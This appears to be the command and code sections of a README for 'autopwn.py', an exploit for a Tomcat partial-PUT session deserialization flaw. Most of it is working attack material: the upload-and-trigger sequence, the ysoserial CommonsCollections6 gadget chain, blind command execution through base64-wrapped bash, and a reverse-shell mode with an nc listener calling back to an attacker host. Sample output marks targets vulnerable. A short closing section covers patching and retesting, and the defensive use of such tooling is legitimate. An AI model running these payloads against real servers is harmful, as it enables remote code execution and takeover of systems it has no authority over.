$CATALINA_HOME/work/…/<url-path-filename>

PUT /<sid>.session        →  writes Java-serialized payload to work/<sid>.session
GET /  Cookie: JSESSIONID=.<sid>   →  Tomcat loads & deserializes the file  →  RCE

ObjectInputStream.readObject()
  └─ HashSet.readObject()
       └─ TiedMapEntry.hashCode()
            └─ LazyMap.get()
                 └─ ChainedTransformer.transform()
                      └─ InvokerTransformer → Runtime.exec(command)

curl -sI http://target:9090/ | grep -i server
# Look for: Apache-Coyote/1.1  or  Apache Tomcat

curl -s -o /dev/null -w "%{http_code}" \
  -X PUT "http://target:9090/test.session" \
  -H "Content-Range: bytes 0-9/200" \
  -H "Content-Type: application/octet-stream" \
  --data-binary "AAAAAAAAAA"
# 201 Created = partial PUT enabled  (vulnerable prerequisite met)
# 403/405     = partial PUT disabled (not vulnerable via this path)

python3 autopwn.py http://target:9090 --command "id"
# Vulnerable  → one line shows GET=500 + "<<<< 500 = FIRED!"
# Not vuln    → all lines show GET=200, no 500

[*] path=/{sid}.session                            PUT=201 cookie=JSESSIONID=pwn1   [A(no-dot)]     GET=200
[*] path=/{sid}.session                            PUT=201 cookie=JSESSIONID=.pwn2  [B(dot-prefix)] GET=500  <<<< 500 = FIRED!
[*] path=/uploads/../sessions/{sid}.session        PUT=409 cookie=JSESSIONID=pwn3   [A(no-dot)]     GET=200
...
[+] Target is VULNERABLE!  Winning variant: B(dot-prefix)
    upload path : /{sid}.session
    trigger     : Cookie: JSESSIONID=.pwn2

PUT /{sid}.session HTTP/1.1
Content-Type: application/octet-stream
Content-Range: bytes 0-1274/1375

\xac\xed\x00\x05\x73\x72...  (raw serialized bytes — CommonsCollections6)

pip install requests
# Java runtime in PATH
# ysoserial.jar in current directory (or pass --ysoserial <path>)

python3 autopwn.py http://192.168.61.148:9090 --command "id"

# Build base64-wrapped command (avoids shell-splitting in Runtime.exec)
CMD='id > /usr/local/tomcat/webapps/ROOT/idout.txt'
B64=$(echo -n "$CMD" | base64 -w0)

python3 autopwn.py http://192.168.61.148:9090 \
    --command "bash -c {echo,$B64}|{base64,-d}|bash"

# Fetch the result
curl http://192.168.61.148:9090/idout.txt

# Terminal 1 — listener
nc -lvnp 4444

# Terminal 2 — fire (script auto-builds the base64 revshell payload)
python3 autopwn.py http://192.168.61.148:9090 \
    --revshell --lhost 192.168.61.10 --lport 4444

positional arguments:
  target                Target base URL (e.g. http://192.168.61.148:9090)

options:
  --command CMD         Command to execute (blind mode, default: id)
  --revshell            Send reverse shell instead of blind command
  --lhost LHOST         Listener IP  (required with --revshell)
  --lport LPORT         Listener port (required with --revshell)
  --gadget GADGET       ysoserial gadget chain (default: CommonsCollections6)
  --ysoserial PATH      Path to ysoserial jar (default: ysoserial.jar)
  --sid SID             Session ID prefix for upload filenames (default: pwn)
  --no-ssl-verify       Disable SSL certificate verification

# Check installed version
$CATALINA_HOME/bin/catalina.sh version | grep "Server version"

<init-param>
    <param-name>readonly</param-name>
    <param-value>true</param-value>
</init-param>

<!-- Remove or comment out: -->
<!-- <Manager className="org.apache.catalina.session.PersistentManager"> -->
<!--   <Store className="org.apache.catalina.session.FileStore"/> -->
<!-- </Manager> -->

# Partial PUT should now return 403 or 405
curl -s -o /dev/null -w "%{http_code}" \
  -X PUT "http://target:9090/test.session" \
  -H "Content-Range: bytes 0-9/200" \
  -H "Content-Type: application/octet-stream" \
  --data-binary "AAAAAAAAAA"
# Patched   → 403 / 405
# Vulnerable → 201

# Re-run PoC — must not fire
python3 autopwn.py http://target:9090 --command "id"
# Patched   → all GET=200, no 500